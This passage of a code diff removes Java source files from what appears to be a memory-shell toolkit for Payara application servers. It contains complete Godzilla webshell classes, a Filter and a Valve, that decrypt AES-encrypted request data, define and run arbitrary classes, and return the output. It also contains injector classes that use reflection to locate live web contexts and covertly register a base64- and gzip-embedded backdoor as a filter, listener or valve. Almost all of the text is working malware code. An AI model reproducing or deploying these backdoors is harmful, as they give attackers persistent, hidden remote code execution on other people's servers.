} else {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void destroy() {
|
||||
|
||||
}
|
||||
}
|
||||
-127
@@ -1,127 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.payara.godzilla;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import javax.servlet.*;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GodzillaFilter extends ClassLoader implements Filter {
|
||||
public String key = "{{key}}";
|
||||
public String pass = "{{pass}}";
|
||||
public String md5 = "{{md5}}";
|
||||
public String headerName = "{{headerName}}";
|
||||
public String headerValue = "{{headerValue}}";
|
||||
|
||||
public GodzillaFilter() {
|
||||
}
|
||||
|
||||
public GodzillaFilter(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
} catch (Exception var4) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data));
|
||||
} else {
|
||||
request.setAttribute("parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f;
|
||||
try {
|
||||
f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
||||
} catch (InstantiationException | IllegalAccessException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
}
|
||||
|
||||
} else {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void destroy() {
|
||||
}
|
||||
}
|
||||
-137
@@ -1,137 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.payara.godzilla;
|
||||
|
||||
import org.apache.catalina.Valve;
|
||||
import org.apache.catalina.connector.Request;
|
||||
import org.apache.catalina.connector.Response;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import javax.servlet.ServletException;
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GodzillaValve extends ClassLoader implements Valve {
|
||||
public String key = "{{key}}";
|
||||
public String pass = "{{pass}}";
|
||||
public String md5 = "{{md5}}";
|
||||
public String headerName = "{{headerName}}";
|
||||
public String headerValue = "{{headerValue}}";
|
||||
protected Valve next;
|
||||
protected boolean asyncSupported;
|
||||
|
||||
public GodzillaValve() {
|
||||
}
|
||||
|
||||
public GodzillaValve(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) {
|
||||
String value = null;
|
||||
Class base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object Encoder = base64.newInstance();
|
||||
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
} catch (Exception var4) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public Valve getNext() {
|
||||
return this.next;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setNext(Valve valve) {
|
||||
this.next = valve;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isAsyncSupported() {
|
||||
return this.asyncSupported;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void backgroundProcess() {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute("payload", (new GodzillaValve(this.getClass().getClassLoader())).Q(data));
|
||||
} else {
|
||||
request.setAttribute("parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = ((Class) session.getAttribute("payload")).newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(data);
|
||||
f.equals(request);
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
response.flushBuffer();
|
||||
}
|
||||
} else {
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
-216
@@ -1,216 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.payara.injector;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.logging.Logger;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class PayaraFilterInjector {
|
||||
static {
|
||||
new PayaraFilterInjector();
|
||||
}
|
||||
|
||||
Logger log = Logger.getLogger(PayaraFilterInjector.class.getName());
|
||||
|
||||
|
||||
public PayaraFilterInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getFilter(context);
|
||||
addFilter(context, filter);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
try {
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Object context = getFV(getFV(thread, "target"), "this$0");
|
||||
if (context != null && "com.sun.enterprise.web.WebModule".equals(context.getClass().getName())) {
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getFilter(Object context) throws Exception {
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
filter = clazz.newInstance();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
|
||||
}
|
||||
return filter;
|
||||
}
|
||||
|
||||
public void addFilter(Object context, Object filter) throws Exception {
|
||||
String filterName = getClassName();
|
||||
// 防止重复注入
|
||||
try {
|
||||
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterName}) != null) {
|
||||
log.warning("filter already exists");
|
||||
return;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
try {
|
||||
Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||
Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
|
||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
|
||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false});
|
||||
try {
|
||||
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||
} catch (Exception e) {
|
||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||
}
|
||||
Constructor<?>[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
||||
constructors[0].setAccessible(true);
|
||||
Object filterConfig = constructors[0].newInstance(context, filterDef);
|
||||
HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFV(context, "filterConfigs");
|
||||
filterConfigs.put(filterName, filterConfig);
|
||||
log.info("filter added successfully");
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
-198
@@ -1,198 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.payara.injector;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.EventListener;
|
||||
import java.util.List;
|
||||
import java.util.logging.Logger;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class PayaraListenerInjector {
|
||||
static {
|
||||
new PayaraListenerInjector();
|
||||
}
|
||||
|
||||
Logger log = Logger.getLogger(PayaraListenerInjector.class.getName());
|
||||
|
||||
public PayaraListenerInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getListener(context);
|
||||
addListener(context, listener);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
try {
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Object context = getFV(getFV(thread, "target"), "this$0");
|
||||
if (context != null && "com.sun.enterprise.web.WebModule".equals(context.getClass().getName())) {
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getListener(Object context) throws Exception {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
listener = clazz.newInstance();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
|
||||
}
|
||||
return listener;
|
||||
}
|
||||
|
||||
public void addListener(Object context, Object listener) throws Exception {
|
||||
try {
|
||||
List<EventListener> eventListeners = (List<EventListener>) invokeMethod(context, "getApplicationEventListeners");
|
||||
boolean isExist = false;
|
||||
for (EventListener eventListener : eventListeners) {
|
||||
if (eventListener.getClass().getName().equals(listener.getClass().getName())) {
|
||||
isExist = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!isExist) {
|
||||
log.info("listener added successfully");
|
||||
eventListeners.add((EventListener) listener);
|
||||
} else {
|
||||
log.warning("listener already exists");
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
-221
@@ -1,221 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.payara.injector;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class PayaraValveInjector {
|
||||
|
||||
static {
|
||||
new PayaraValveInjector();
|
||||
}
|
||||
|
||||
public PayaraValveInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object valve = getValve(context);
|
||||
if (valve == null) {
|
||||
continue;
|
||||
}
|
||||
injectValve(context, valve);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private static synchronized Object getFV(Object var0, String var1) throws Exception {
|
||||
Field var2 = null;
|
||||
Class var3 = var0.getClass();
|
||||
|
||||
while (var3 != Object.class) {
|
||||
try {
|
||||
var2 = var3.getDeclaredField(var1);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
var3 = var3.getSuperclass();
|
||||
}
|
||||
}
|
||||
|
||||
if (var2 == null) {
|
||||
throw new NoSuchFieldException(var1);
|
||||
} else {
|
||||
var2.setAccessible(true);
|
||||
return var2.get(var0);
|
||||
}
|
||||
}
|
||||
|
||||
private static synchronized Object invokeMethod(final Object obj, final String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
try {
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Object context = getFV(getFV(thread, "target"), "this$0");
|
||||
if (context != null) {
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return contexts;
|
